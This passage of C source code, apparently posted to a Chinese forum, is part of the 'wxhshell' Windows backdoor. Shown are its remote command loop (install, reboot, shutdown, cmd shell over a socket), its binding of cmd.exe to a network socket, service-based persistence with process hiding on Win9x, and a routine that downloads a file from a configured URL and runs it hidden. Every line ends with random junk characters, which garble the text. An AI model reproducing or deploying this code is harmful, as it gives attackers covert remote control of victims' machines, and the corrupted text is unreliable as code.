  case '?': { 7!8R)m^1[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |\q@XCGei  
    break; 9 J~KM=p  
  } x[YW 3nF  
  // 安装 4p`z%U~=u  
  case 'i': {  OV$|!n  
    if(Install()) dxWG+S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8d\/  
    else x*F_XE1#M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LGC3"z\=  
    break; M4}zRr([.5  
    } ot,e?lF  
  // 卸载 Jb` yK@x  
  case 'r': { k.#[h@Pm  
    if(Uninstall()) #K[6Ai=We}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VK$s+"  
    else n0'"/zyc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0]t7(P"F6  
    break; dIvvJk8  
    } 3=kw{r[2lM  
  // 显示 wxhshell 所在路径 ? `#  
  case 'p': { WLN;LT  
    char svExeFile[MAX_PATH]; ?rububDT{  
    strcpy(svExeFile,"\n\r"); nA XWbavY  
      strcat(svExeFile,ExeFile); @?<1~/sfL  
        send(wsh,svExeFile,strlen(svExeFile),0); 7.1FRxS  
    break; )m$i``*<  
    } C]%}L%,  
  // 重启 o_%gFV[q  
  case 'b': { 'tzN.p1O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q!}LtR$  
    if(Boot(REBOOT)) hk+"c^g:j<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); si>gYO  
    else { {DGnh1  
    closesocket(wsh); *[wj )  
    ExitThread(0); L@LT*M  
    } 83YQ c  
    break; U~[ tp1Z)  
    } wE09%  
  // 关机 zRF +D+  
  case 'd': { $8Y|& P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wg 6  
    if(Boot(SHUTDOWN)) l( 0:CM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PsoW:t  
    else { Z <vTr6?  
    closesocket(wsh); 3gU*,K7  
    ExitThread(0); R//S(eU68\  
    } &dI;o$t  
    break; Y^J/jA0\B  
    } q#!c6lG  
  // 获取shell E,:E u<  
  case 's': { "+KAYsVtU  
    CmdShell(wsh); /s~&$(d59o  
    closesocket(wsh); \I`g[nT|  
    ExitThread(0); t_ZWd#x+;  
    break; RkXW(T`  
  } Z?tw#n[T  
  // 退出 F6 c1YI[  
  case 'x': { 5Gsjt+ o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [+Y;w`;Fq  
    CloseIt(wsh); SB2Ij',  
    break; `z!?!"=  
    } /2e,,)4g  
  // 离开 qx\P(dOUf  
  case 'q': { ;tu2}1#r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?>o|H-R~5Z  
    closesocket(wsh); B#;0{  
    WSACleanup(); joJ:* oL  
    exit(1); "?TKz:9r  
    break; Wc- 8j2M  
        } XP!7@:  
  } y@Q? guB  
  } n aB`@  
=5Auk 5&  
  // 提示信息 H g;;>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AIa#t#8${  
} (dVrGa54  
  } :#zv,U&OC  
?3+>% bO  
  return; :*{\oqFn~$  
} iKN800^u  
ck4g=QpD{  
// shell模块句柄 tM;S )S(=  
int CmdShell(SOCKET sock) G@;I^_gN  
{ PFnq:G^L  
STARTUPINFO si; %R [X_n=  
ZeroMemory(&si,sizeof(si)); 9,zM.g9Qv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K+s xO/}h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8cyC\Rs  
PROCESS_INFORMATION ProcessInfo; z@n779i  
char cmdline[]="cmd"; ; 0`p"T0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @s@67\  
  return 0; ]w[T_4 l  
} [e+$jsPl  
Pb-Ft =  
// 自身启动模式 IB+)2`  
int StartFromService(void) C2 ] x  
{ >E3 lY/[  
typedef struct D1VM_O  
{ p~w|St 7jg  
  DWORD ExitStatus; #yVMC;J?W  
  DWORD PebBaseAddress; &BDdJwE  
  DWORD AffinityMask; 2r|!:^'?W  
  DWORD BasePriority; qEbzF#a-:  
  ULONG UniqueProcessId; k_<8SG+`  
  ULONG InheritedFromUniqueProcessId; #XlE_XD  
}   PROCESS_BASIC_INFORMATION; `Gp!Y  
_C97G&  
PROCNTQSIP NtQueryInformationProcess; N>}2&'I  
fCxF3m(O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *PVv=SU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +w pe<T  
dECH/vJ^  
  HANDLE             hProcess; HGjGV]N5  
  PROCESS_BASIC_INFORMATION pbi; cWA$O*A  
=wy3h0k^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^."HD(  
  if(NULL == hInst ) return 0; c_r&)8  
`e!hT@Xxa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2dF:;k k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N%.Dj H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5{&<X.jv  
TGJ\f  
  if (!NtQueryInformationProcess) return 0; zsx12b^w  
WrGz`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f{DcR"  
  if(!hProcess) return 0; br9`77J8  
aab?hR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HKdR?HM1  
!bHM:!6^  
  CloseHandle(hProcess); sC .R.  
{PCf'n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E|A,NPf%I  
if(hProcess==NULL) return 0; !7K-Kqn  
xf.2Ig  
HMODULE hMod; >xt*(j&}  
char procName[255]; 5E+k}S]M$  
unsigned long cbNeeded; KQ x<{-G6  
+i[w& P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); : a4FO  
F& 'HZX  
  CloseHandle(hProcess); ,T|%vqbmw  
ymsqJ   
if(strstr(procName,"services")) return 1; // 以服务启动 Mwdw7MZ"S  
69v[* InSd  
  return 0; // 注册表启动 ] cv|A^  
} 0+\~^  
ew n/@;E  
// 主模块 |UO1vA@  
int StartWxhshell(LPSTR lpCmdLine) 2.K"+%  
{ /e5Fx  
  SOCKET wsl; jnoFNIW   
BOOL val=TRUE; a'v%bL;H~  
  int port=0; [i'\d}  
  struct sockaddr_in door; DvuL1Me Ko  
Z0~}'K   
  if(wscfg.ws_autoins) Install(); @Yq!  
B`4[@$  
port=atoi(lpCmdLine); %-4e8d74/  
GZN@MK*co  
if(port<=0) port=wscfg.ws_port; +"] 'h~W  
8elT/Wl  
  WSADATA data; iK"j@1|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `f^`i~c\  
n]B)\D+V^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rr[9sk`^H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vR?L/G^.  
  door.sin_family = AF_INET; Z6b3gV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X |f'e@  
  door.sin_port = htons(port); "*@iXJxv5  
y(RbW_ ?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XU0"f!23x  
closesocket(wsl); ;D/'7f7.}  
return 1; t3/!esay  
} omV.Qb'NS  
n^/,>7J   
  if(listen(wsl,2) == INVALID_SOCKET) { qvOBvUR}  
closesocket(wsl); >NE]TZ.F  
return 1; YV 9*B  
} qR_"aQ7s2  
  Wxhshell(wsl); UY **3MK  
  WSACleanup(); ZUyM:$  
zYOPE 6E  
return 0; n20H{TA  
jkNZv. )p  
} WII_s|YSt%  
0EXAdRR  
// 以NT服务方式启动 kmW!0hm;e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lb1(1 |#  
{ \Mlj 7.u]  
DWORD   status = 0; q_f v1U3  
  DWORD   specificError = 0xfffffff; e7L;{+XI  
yh5KN_W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y@.> eS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9GZF39w u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d1j v>tu  
  serviceStatus.dwWin32ExitCode     = 0; LM _4.J  
  serviceStatus.dwServiceSpecificExitCode = 0; &V( LeSI  
  serviceStatus.dwCheckPoint       = 0; wH#k~`M  
  serviceStatus.dwWaitHint       = 0; N13 <!QQ  
CWkm\=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $)@zlnU  
  if (hServiceStatusHandle==0) return; HIh oYSwB  
>[xQUf,p  
status = GetLastError(); Ro:-u7q  
  if (status!=NO_ERROR) S0=BfkHi.  
{ *OF7 {^~&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4r(rWlM  
    serviceStatus.dwCheckPoint       = 0; l}AB):<Z  
    serviceStatus.dwWaitHint       = 0; ^:-%tpB#!  
    serviceStatus.dwWin32ExitCode     = status; Gz*U?R-T  
    serviceStatus.dwServiceSpecificExitCode = specificError; dm$:xE":  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kd \G>  
    return; L761m7J]B  
  } lQ+-g#`  
>5 5/@+^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _k+Bj.L  
  serviceStatus.dwCheckPoint       = 0; *rEW@06^\  
  serviceStatus.dwWaitHint       = 0; iCx'`^HnP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q}2w~Cn\S  
} f\(Kou$  
jv0e&rt  
// 处理NT服务事件,比如:启动、停止 >8NQ8i=]V1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >Ft jrEB  
{ `Ze fSmb  
switch(fdwControl) FpRK^MEkG  
{ #3CA  
case SERVICE_CONTROL_STOP: _F3vC#  
  serviceStatus.dwWin32ExitCode = 0; h}`<pq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OC\C^Yh*U  
  serviceStatus.dwCheckPoint   = 0; jEO;  
  serviceStatus.dwWaitHint     = 0; WJ9u 3+  
  { hrAI@.Bo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \O/=g6w|t}  
  } BLJ-' 8G  
  return; "J{,P9P6  
case SERVICE_CONTROL_PAUSE: rWvJ{-%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tf0#+6 1>  
  break; HRw,D=  
case SERVICE_CONTROL_CONTINUE: x`eYCi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o`sn/x  
  break; d7G'+B1  
case SERVICE_CONTROL_INTERROGATE: g*]<]%Py"  
  break; vRY4N{v(<  
}; , zw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0^[$0]Mt[  
} ZK'I$p]b  
 03#_ (  
// 标准应用程序主函数 yz+r @I5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?)PcYrV  
{ uw<Ruy  
/n_HUY  
// 获取操作系统版本 Y.C*|p#  
OsIsNt=GetOsVer(); LQQhn{[D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }M~AkJL  
(?3( =+t  
  // 从命令行安装 ?NwFpSB2  
  if(strpbrk(lpCmdLine,"iI")) Install(); _88~uYG  
'/p5tw8  
  // 下载执行文件 PHOW,8)dZh  
if(wscfg.ws_downexe) { QDDSJ>l5_T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kB:R- St  
  WinExec(wscfg.ws_filenam,SW_HIDE); "{:*fI;!  
} _6[NYv$"  
L`p[Dq.  
if(!OsIsNt) { }z*p2)v`  
// 如果时win9x,隐藏进程并且设置为注册表启动 R`<E3J\*  
HideProc(); @F1pu3E  
StartWxhshell(lpCmdLine); bBQp:P?E  
} bIhL!Ty T.  
else  +*!!  
  if(StartFromService()) RcE%?2l D  
  // 以服务方式启动 ]zm6;/ S  
  StartServiceCtrlDispatcher(DispatchTable); ~>EVI=?  
else >]`x~cE.5  
  // 普通方式启动 OL=bhZ  
  StartWxhshell(lpCmdLine); 9!OpW:bR|  
`<Ftn  
return 0; K4tX4U[Z  
}
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只看该作者 1 发表于: 2006-10-10
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